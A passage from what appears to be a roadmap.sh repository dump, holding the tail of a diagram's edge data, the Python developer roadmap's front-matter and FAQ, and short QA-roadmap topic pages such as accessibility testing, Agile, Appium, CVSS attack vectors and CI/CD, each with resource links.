\"reactflow__edge-0-ShORjGnQlAdcwjtxdEBz2-u4nRzWQ4zhDFMOrZ2I_uJy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"P_Di-XPSDITmU3xKQew8G\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AqwzR8dZKLQIoj_6KKZ3t\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-P_Di-XPSDITmU3xKQew8Gx2-AqwzR8dZKLQIoj_6KKZ3tw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"u4nRzWQ4zhDFMOrZ2I_uJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HSY5OUc_M5S6OcFXPRtkx\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-u4nRzWQ4zhDFMOrZ2I_uJx2-HSY5OUc_M5S6OcFXPRtkxw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1PXApuUpPmJjgi12cmWo4\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"W3VALz5evFo1qqkQbMN1R\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1PXApuUpPmJjgi12cmWo4w2-W3VALz5evFo1qqkQbMN1Rx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0F0ppU_ClIUKZ23Q6BVZp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tsh_vbhzKz1-H9Vh69tsK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0F0ppU_ClIUKZ23Q6BVZpy2-tsh_vbhzKz1-H9Vh69tsKz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0F0ppU_ClIUKZ23Q6BVZp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DS6nuAUhUYcqiJDmQisKM\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0F0ppU_ClIUKZ23Q6BVZpy2-DS6nuAUhUYcqiJDmQisKMz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0F0ppU_ClIUKZ23Q6BVZp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6cB0pvUO1-gvCtgqozP-Q\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0F0ppU_ClIUKZ23Q6BVZpy2-6cB0pvUO1-gvCtgqozP-Qz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jKeTTySc4iyJY29xLqNNQ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"WQOYjuwKIWB2meea4JnsV\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jKeTTySc4iyJY29xLqNNQy2-WQOYjuwKIWB2meea4JnsVw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WQOYjuwKIWB2meea4JnsV\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jPFOiwbqfaGshaGDBWb5x\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WQOYjuwKIWB2meea4JnsVz2-jPFOiwbqfaGshaGDBWb5xy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WQOYjuwKIWB2meea4JnsV\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"b4he_RO17C3ScNeUd6v2b\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WQOYjuwKIWB2meea4JnsVz2-b4he_RO17C3ScNeUd6v2by1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WQOYjuwKIWB2meea4JnsV\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aVclygxoA9ePU5IxaORSH\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WQOYjuwKIWB2meea4JnsVz2-aVclygxoA9ePU5IxaORSHy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WQOYjuwKIWB2meea4JnsV\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3FDwJpesfelEyJrNWtm0V\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WQOYjuwKIWB2meea4JnsVz2-3FDwJpesfelEyJrNWtm0Vy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WQOYjuwKIWB2meea4JnsV\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-WQOYjuwKIWB2meea4JnsVy2-GV_zWF6rSWg5bqgiXhOEfz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/python/python.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/python.json'\npdfUrl: '/pdfs/roadmaps/python.pdf'\norder: 7\nrenderer: 'editor'\nbriefTitle: 'Python'\nbriefDescription: 'Step by step guide to becoming a Python Developer in 2025'\ntitle: 'Python Developer'\ndescription: 'Step by step guide to becoming a Python developer in 2025'\nhasTopics: true\ndimensions:\n  width: 992\n  height: 1630\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nschema:\n  headline: 'Python Roadmap'\n  description: 'Learn Python with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/python.png'\n  datePublished: '2023-01-05'\n  dateModified: '2024-07-31'\nquestion:\n  title: 'What is a Python developer?'\n  description: |\n    A Python developer is a software developer tasked with building web services, automating tasks, performing data analysis, and everything in between using Python.\n    \n    In terms of responsibilities, they will vary based on their project, company, and seniority. However, they usually include writing efficient code, managing data structures (especially when doing data science with Python), optimizing algorithms, and working with frameworks such as Pandas, TensorFlow, Django, and others.\n    \n    ## How to become a Python developer?\n    \n    To become a Python developer, the first step is learning the basics of Python, including data types, functions, and object-oriented programming (you can get away without learning OOP as well since Python allows for a hybrid programming model). \n    \n    Understanding how to work with Python libraries like NumPy, Pandas, and Requests is also essential. Since Python can be used in many different ways, picking the right library and framework to focus on depends on you and your intentions with the language.\n    \n    Beyond coding skills, to become a great Python developer, you should also spend some time looking into data structures like linked lists, trees, and hash maps. While they're not critical to building applications, they're great tools to show you how to solve problems in different ways.\n    \n    Python developers should also learn about version control systems like Git, and completing projects that involve APIs, automation, or data processing helps in building a strong portfolio. One way to do this is by contributing to open-source projects to get hands-on experience and improve your problem-solving skills.\n    \n    ## Is Python a frontend or backend language?\n    \n    Python is a backend language, as the only language natively supported by browsers is JavaScript. On the backend, it is used to build the server-side logic that handles data processing, authentication, and even database management. \n    \n    While it can be used on the frontend through the addition of extra libraries such as [PyScript](https://pyscript.net/), this is not a normal practice as it adds dependencies and extra logic to already complex applications.\n    \n    In web development, Python is often used alongside Django or Flask to build robust backend services. It is also used for API development, data processing, and automation. \t\n    \n    ## What is Python used for?\n    \n    Python is used for many different things and across multiple domains, given how versatile it is. \n    \n    In web development, for example, Python can be used with frameworks like Django and Flask to help developers create scalable applications. In data science, it is the de facto language for data analysis, machine learning, and artificial intelligence (thanks to libraries like Pandas, NumPy, and TensorFlow).\n    \n    In the field of automation, this language is also very popular, allowing developers to streamline repetitive tasks through Python code. \n    \n    Finally, even though it's not as popular in these industries, Python can be used in cybersecurity, embedded systems, and even game development. Many companies use Python for cloud computing and backend services because of its simplicity and extensive support for integration with external systems.\nseo:\n  title: 'Learn to become a modern Python developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for python development. Learn to become a modern Python developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming an python developer'\n    - 'python developer roadmap'\n    - 'python developer roadmap 2025'\n    - 'python roadmap'\n    - 'python roadmap 2025'\n    - 'become python developer'\n    - 'python developer skills'\n    - 'python skills test'\n    - 'skills for python development'\n    - 'learn python development'\n    - 'what is python'\n    - 'python quiz'\n    - 'python for ai roadmap'\n    - 'python interview questions'\nrelatedRoadmaps:\n  - 'backend'\n  - 'devops'\n  - 'golang'\n  - 'javascript'\n  - 'nodejs'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/qa/content/accessibility-testing@zGzpjxz3nvVH9Eu3NOPbk.md",
    "content": "# Accessibility Testing\n\nAccessibility Testing is defined as a type of Software Testing performed to ensure that the application being tested is usable by people with disabilities like hearing, color blindness, old age, low vision and other disadvantaged groups.\n\nVisit the following resources to learn more:\n\n- [@article@What is Accessibility Testing? (Examples)](https://www.guru99.com/accessibility-testing.html)\n- [@article@Accessibility Testing Tutorial (Step By Step Guide)](https://www.softwaretestinghelp.com/what-is-web-accessibility-testing/)\n- [@article@IBM Accessibility Toolkit](https://www.ibm.com/able/)\n- [@feed@Explore top posts about Accessibility](https://app.daily.dev/tags/accessibility?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/accessibility-tests@mmDIqSD6MU3ZhWREGI5E2.md",
    "content": "# Accessibility testing\n\nIn software QA, accessibility testing is the practice of confirming that an application is usable for as many people as possible, including people with disabilities such as vision impairment, hearing problems and cognitive conditions.\n\nVisit the following resources to learn more:\n\n- [@feed@Explore top posts about Accessibility](https://app.daily.dev/tags/accessibility?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/agile-model@47NXgbc1OTGE06qXxlQoh.md",
    "content": "# Agile Model\n\nThe agile model refers to a software development approach based on iterative development. Agile methods break tasks into smaller iterations or parts that do not directly involve long-term planning. The project scope and requirements are laid down at the beginning of the development process. Plans regarding the number of iterations, the duration, and the scope of each iteration are clearly defined in advance.\n\nThe Agile software development methodology is one of the simplest and most effective processes to turn a vision for a business need into software solutions.\n\nVisit the following resources to learn more:\n\n- [@article@Agile Methodology: What is Agile Model in Software Testing?](https://www.guru99.com/agile-scrum-extreme-testing.html)\n- [@article@Manifesto for Agile Software Development](https://agilemanifesto.org/)\n- [@feed@Explore top posts about Agile](https://app.daily.dev/tags/agile?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/ajax@jn02FD5hjhZFVWaJjjNN3.md",
    "content": "# Ajax\n\nAJAX stands for Asynchronous JavaScript And XML. In a nutshell, it is the use of the XMLHttpRequest object to communicate with servers. It can send and receive information in various formats, including JSON, XML, HTML, and text files.\n\nVisit the following resources to learn more:\n\n- [@article@Getting Started with AJAX](https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX/Getting_Started)\n- [@video@What Is Ajax?](https://www.youtube.com/watch?v=3l13qGLTgNw)"
  },
  {
    "path": "src/data/roadmaps/qa/content/allure@jaHOo-vZGjTnABxQKMT3_.md",
    "content": "# Allure\n\nAllure Report is a flexible, lightweight multi-language test reporting tool. It provides clear graphical reports and allows everyone involved in the development process to extract the maximum of information from the everyday testing process.\n\nVisit the following resources to learn more:\n\n- [@official@Allure](https://qameta.io/)\n- [@official@Allure Docs](https://docs.qameta.io/allure-report/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/appium@UIKUiCfSw5MkrRJZ3Ah3x.md",
    "content": "# Appium\n\nAppium is an open-source framework that allows QAs to conduct automated app testing on different platforms like Android, iOS, and Windows. It is developed and supported by Sauce Labs to automate native and hybrid mobile apps. It is a cross-platform mobile automation tool, which means that it allows the same test to be run on multiple platforms.\n\nVisit the following resources to learn more:\n\n- [@official@Appium](https://appium.io/)\n- [@official@Appium Documentation](https://appium.io/docs/en/2.0/intro/)\n- [@opensource@Appium example tests on GitHub](https://github.com/appium/appium/tree/1.x/sample-code)\n- [@article@Appium Tutorial for Mobile Application Testing](https://www.browserstack.com/guide/appium-tutorial-for-testing)"
  },
  {
    "path": "src/data/roadmaps/qa/content/artillery@j1DYOQbIUT1tw_9WIPBkE.md",
    "content": "# Artillery\n\nArtillery is a modern, powerful & easy-to-use performance testing toolkit. Use it to ship scalable applications that stay performant & resilient under high load.\n\nArtillery prioritizes developer productivity and happiness, and follows the \"batteries-included\" philosophy.\n\nFeatures\n--------\n\n*   Emulate complex user behavior with scenarios\n*   Load testing and smoke testing\n*   Batteries included\n*   Extensible & hackable\n*   Integrations and add-ons\n*   Designed for cross-team collaboration\n*   Planet-scale testing\n\nVisit the following resources to learn more:\n\n- [@official@Artillery](https://www.artillery.io/)\n- [@video@Learn Artillery](https://www.youtube.com/playlist?list=PLJ9A48W0kpRJh1_uW2mVNhSIVCMYmNlm7)"
  },
  {
    "path": "src/data/roadmaps/qa/content/assembla@xLPE9CqqiYz0miMFI3ThY.md",
    "content": "# Assembla\n\nAssembla is an extensive suite of applications for software development, enabling distributed agile teams. It allows development teams to manage, initiate and maintain agile projects, applications and websites.\n\nVisit the following resources to learn more:\n\n- [@article@Assembla](https://get.assembla.com/projects/)\n- [@article@What is Assembla?](https://www.selecthub.com/project-management-software/assembla)"
  },
  {
    "path": "src/data/roadmaps/qa/content/atdd@isNJ0To1bBJvn899DITei.md",
    "content": "# Acceptance Test-Driven Development (ATDD)\n\nATDD is a collaborative approach where the whole team defines acceptance criteria before development begins. These acceptance criteria are then turned into automated tests, which guide the development process. The goal is to ensure that the software meets the specific needs and expectations of the stakeholders.\n\nVisit the following resources to learn more:\n\n- [@article@What is ATDD](https://www.browserstack.com/guide/what-is-test-driven-development)\n- [@article@Acceptance test-driven development](https://en.wikipedia.org/wiki/Acceptance_test-driven_development)"
  },
  {
    "path": "src/data/roadmaps/qa/content/atlassian@wVqbs8Rh0WjLQqJZ0XiF0.md",
    "content": "# Atlassian\n\nJira is a software application used for issue tracking and project management. The tool, developed by the Australian software company Atlassian, has become widely used by agile development teams to track bugs, stories, epics, and other tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Atlassian](https://www.atlassian.com/)\n- [@official@What is Jira used for?](https://www.atlassian.com/software/jira/guides/use-cases/what-is-jira-used-for#glossary-of-items)\n- [@article@What is Jira?](https://www.simplilearn.com/tutorials/jira/what-is-jira-and-how-to-use-jira-testing-software)\n- [@article@JIRA Tutorial: A Complete Hands-On How-To-Use JIRA Guide](https://www.softwaretestinghelp.com/atlassian-jira-tutorial-1/)\n- [@feed@Explore top posts about Atlassian](https://app.daily.dev/tags/atlassian?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/attack-vectors@x3HEti8-xF9Mxe5ELBM9T.md",
    "content": "# Attack vectors\n\nThis metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the Base Score) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable component. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater Base Score.\n\nVisit the following resources to learn more:\n\n- [@article@FIRST.org Website](https://www.first.org/cvss/v3.1/specification-document)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/authentication--authorization@75-XdVA4BL6UrcvpC9grx.md",
    "content": "# Authentication authorization\n\n`Authentication` is the process of verifying that an individual, entity or website is whom it claims to be. Authentication in the context of web applications is commonly performed by submitting a username or ID and one or more items of private information that only a given user should know.\n\n`Authorization` may be defined as \"the process of verifying that a requested action or service is approved for a specific entity\" (NIST). `Authorization` is distinct from authentication which is the process of verifying an entity's identity. When designing and developing a software solution, it is important to keep these distinctions in mind. A user who has been authenticated (perhaps by providing a username and password) is often not authorized to access every resource and perform every action that is technically possible through a system.\n\nVisit the following resources to learn more:\n\n- [@article@OWASP Website](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/axe@_4jJ8YQeLcaT-z38kxRRR.md",
    "content": "# Axe\n\nAxe is a fast and lightweight accessibility testing tool that checks the entire document against the rules and generates a report with all violations, passes, etc.\n\nVisit the following resources to learn more:\n\n- [@official@Axe Website](https://www.deque.com/axe/)\n- [@article@Accessibility testing using the axe-core library](https://www.browserstack.com/docs/automate/selenium/accessibility-testing)"
  },
  {
    "path": "src/data/roadmaps/qa/content/azure-devops-services@u0tKd7HZVN2gGv9Cz3jHz.md",
    "content": "# Azure DevOps\n\nAzure DevOps is developed by Microsoft as a full scale application lifecycle management and CI/CD service. Azure DevOps provides developer services for allowing teams to plan work, collaborate on code development, and build and deploy applications.\n\nVisit the following resources to learn more:\n\n- [@official@Azure DevOps](https://azure.microsoft.com/en-us/services/devops/#overview)\n- [@official@Azure Documentation](https://docs.microsoft.com/en-us/azure/devops/?view=azure-devops&viewFallbackFrom=vsts)\n- [@article@Azure DevOps Getting Started Guide](https://docs.microsoft.com/en-us/azure/devops/user-guide/sign-up-invite-teammates?view=azure-devops)\n- [@feed@Explore top posts about Azure](https://app.daily.dev/tags/azure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/backend-automation@mPaMQ5h8ZcXKOfcuSwB2-.md",
    "content": "# Backend Automation\n\nBackend Testing is a testing method that checks the server side or database of web applications or software. Backend testing aims to test the application layer or database layer to ensure that the web application or software is free from database defects like deadlock, data corruption, or data loss.\n\nVisit the following resources to learn more:\n\n- [@article@Backend Testing Tutorial](https://www.guru99.com/what-is-backend-testing.html)\n- [@feed@Explore top posts about Automation](https://app.daily.dev/tags/automation?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/bamboo@j4J5OhHEf7t-LVNkNVW3M.md",
    "content": "# Bamboo\n\nBamboo is a CI/CD service provided by Atlassian. Bamboo is primarily used for automating builds, tests and releases in a single workflow.\n\nVisit the following resources to learn more:\n\n- [@official@Bamboo](https://www.atlassian.com/software/bamboo)\n- [@official@Bamboo Documentation](https://confluence.atlassian.com/bamboo/bamboo-documentation-289276551.html)\n- [@article@Bamboo Getting Started Guide](https://confluence.atlassian.com/bamboo/getting-started-with-bamboo-289277283.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/bdd@VQOrMKGC-dBJ7CzLclviT.md",
    "content": "# Behavior-Driven Development\n\nBehavior-Driven Development (BDD) is a software development process that emphasizes collaboration between developers, testers, and business stakeholders. It focuses on defining the expected behavior of the software in plain language, using examples to illustrate the desired functionality. These examples are then translated into automated tests, ensuring that the software meets the agreed-upon requirements.\n\nVisit the following resources to learn more:\n\n- [@article@What is BDD Testing? A Complete Guide](https://katalon.com/resources-center/blog/bdd-testing)\n- [@article@What is BDD?](https://smartbear.com/blog/what-is-bdd-testing/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/bitbucket@4xlbvY7NS3cemSZsEQAkD.md",
    "content": "# Bitbucket\n\nBitbucket is a Git based hosting and source code repository service that is Atlassian's alternative to other products like GitHub, GitLab etc.\n\nBitbucket offers hosting options via Bitbucket Cloud (Atlassian's servers), Bitbucket Server (customer's on-premise) or Bitbucket Data Centre (number of servers in customers on-premise or cloud environment)\n\nVisit the following resources to learn more:\n\n- [@official@Bitbucket](https://bitbucket.org/product)\n- [@official@A brief overview of Bitbucket](https://bitbucket.org/product/guides/getting-started/overview#a-brief-overview-of-bitbucket)\n- [@official@Getting started with Bitbucket](https://bitbucket.org/product/guides/basics/bitbucket-interface)\n- [@article@Using Git with Bitbucket Cloud](https://www.atlassian.com/git/tutorials/learn-git-with-bitbucket-cloud)\n- [@video@How to Use Bitbucket Cloud](https://www.youtube.com/watch?v=M44nEyd_5To)\n- [@video@Bitbucket Tutorial | Bitbucket for Beginners](https://www.youtube.com/watch?v=i5T-DB8tb4A)\n- [@feed@Explore top posts about Bitbucket](https://app.daily.dev/tags/bitbucket?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/black-box-testing@2zfwE6uzGYc2qnvOZ47LB.md",
    "content": "# Black box testing\n\nBlack Box Testing is a software testing method in which the functionalities of software applications are tested without having knowledge of internal code structure, implementation details and internal paths. Black Box Testing mainly focuses on input and output of software applications and it is entirely based on software requirements and specifications. It is also known as Behavioral Testing.\n\nVisit the following resources to learn more:\n\n- [@article@What is BLACK Box Testing? Techniques, Example & Types](https://www.guru99.com/black-box-testing.html)\n- [@article@Black Box Testing: An In-Depth Tutorial With Examples And Techniques](https://www.softwaretestinghelp.com/black-box-testing/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/browser--dev-tools@cHI05cf8fLh3XB1Bt6jNP.md",
    "content": "# Browser Devtools\n\nEvery modern web browser includes a powerful suite of developer tools. These tools do a range of things, from inspecting currently-loaded HTML, CSS and JavaScript to showing which assets the page has requested and how long they took to load. This article explains how to use the basic functions of your browser's devtools.\n\nVisit the following resources to learn more:\n\n- [@article@What are Browser Developer Tools?](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools)\n- [@feed@Explore top posts about DevTools](https://app.daily.dev/tags/devtools?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/bugbug@wUq-qEIh-tazYhgQQUqGG.md",
    "content": "# BugBug\n\nBugBug is a browser extension designed to help with test automation, particularly for web applications. It allows users to record their interactions with a website and then generate test scripts from those recordings, aiming to simplify the process of creating automated UI tests. It often emphasizes ease of use and integration with existing testing frameworks.\n\nVisit the following resources to learn more:\n\n- [@official@bugbug](https://bugbug.io/v2/)\n- [@video@BugBug.io Tutorial – The Best No-Code Selenium IDE Alternative for Browser Test Automation](https://www.youtube.com/watch?v=p09L8bD_Kh0)"
  },
  {
    "path": "src/data/roadmaps/qa/content/caching@qvlA7iIOvoWMXm5MCAysZ.md",
    "content": "# Caching\n\nCaching ensures that the resources downloaded once are reused instead of doing a fresh fetch again. It is useful for increasing subsequent page load speed by reusing cached images, fonts, and other static assets. Caching should not be typically done on dynamic content. For example list of posts or comments. As part of the testing strategy, both caching and cache invalidation (not getting stale dynamic content) needs to be tested.\n\nVisit the following resources to learn more:\n\n- [@article@What is Caching and How it Works | AWS](https://aws.amazon.com/caching/)\n- [@video@Caching - Simply Explained](https://www.youtube.com/watch?v=6FyXURRVmR0)"
  },
  {
    "path": "src/data/roadmaps/qa/content/chrome-devtools@Xadg2WZTz6Cc_Ir9FsbgY.md",
    "content": "# Chrome dev tools\n\nThese are a set of tools built into the browser to aid frontend developers diagnose and solve various issues in their applications — such as JavaScript and logical bugs, CSS styling issues or even just making quick temporary alterations to the DOM.\n\nTo enter the dev tools, right click and click **Inspect** (or press `ctrl+shift+c`/`cmd+opt+c`) to enter the Elements panel. Here you can debug CSS and HTML issues. If you want to see logged messages or interact with javascript, enter the **Console** tab from the tabs above (or press `ctrl+shift+j`/`cmd+opt+j` to enter it directly). Another very useful feature in the Chrome dev tools is the Lighthouse (for checking performance) — more on this later.\n\nNOTE: This isn't a chrome-specific feature, and most browsers (Chromium based or otherwise) will have their own, largely-similar set of devtools.\n\nVisit the following resources to learn more:\n\n- [@official@Chrome Dev Tools](https://developer.chrome.com/docs/devtools/overview/)\n- [@feed@Explore top posts about DevTools](https://app.daily.dev/tags/devtools?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/ci--cd@-n2yAprKdWg3YVi2vp25d.md",
    "content": "# CI / CD\n\nContinuous Integration is a software development method where team members integrate their work at least once daily. An automated build checks every integration to detect errors in this method. In Continuous Integration, the software is built and tested immediately after a code commit. In a large project with many developers, commits are made many times during the day. With each commit, code is built and tested.\n\nContinuous Delivery is a software engineering method in which a team develops software products in a short cycle. It ensures that software can be easily released at any time. The main aim of continuous delivery is to build, test, and release software with good speed and frequency. It helps reduce the cost, time, and risk of delivering changes by allowing for frequent updates in production.\n\nVisit the following resources to learn more:\n\n- [@article@What is CI/CD? Continuous Integration and Continuous Delivery](https://www.guru99.com/continuous-integration.html)\n- [@article@Continuous Integration vs Delivery vs Deployment](https://www.guru99.com/continuous-integration-vs-delivery-vs-deployment.html)\n- [@article@CI/CD Pipeline: Learn with Example](https://www.guru99.com/ci-cd-pipeline.html)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/circle-ci@z1kZkWTL_RRPZY59aWylU.md",
    "content": "# CircleCI\n\nCircleCI is a CI/CD service that can be integrated with GitHub, BitBucket and GitLab repositories. The service that can be used as a SaaS offering or self-managed using your own resources.\n\nVisit the following resources to learn more:\n\n- [@official@CircleCI](https://circleci.com/)\n- [@official@CircleCI Documentation](https://circleci.com/docs)\n- [@official@Configuration Tutorial](https://circleci.com/docs/config-intro)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/compatibility@RD0vRC-OL2ReYLT1leJMs.md",
    "content": "# Compatibility\n\nCompatibility is nothing but the capability of existing or living together. Compatibility Testing is a type of Software testing to check whether your software is capable of running on different hardware, operating systems, applications, network environments or Mobile devices.\n\nVisit the following resources to learn more:\n\n- [@article@What is Compatibility Testing? Forward & Backward Example](https://www.guru99.com/compatibility-testing.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/csr-vs-ssr@-2RU50LUPwCQ8XRaMslY-.md",
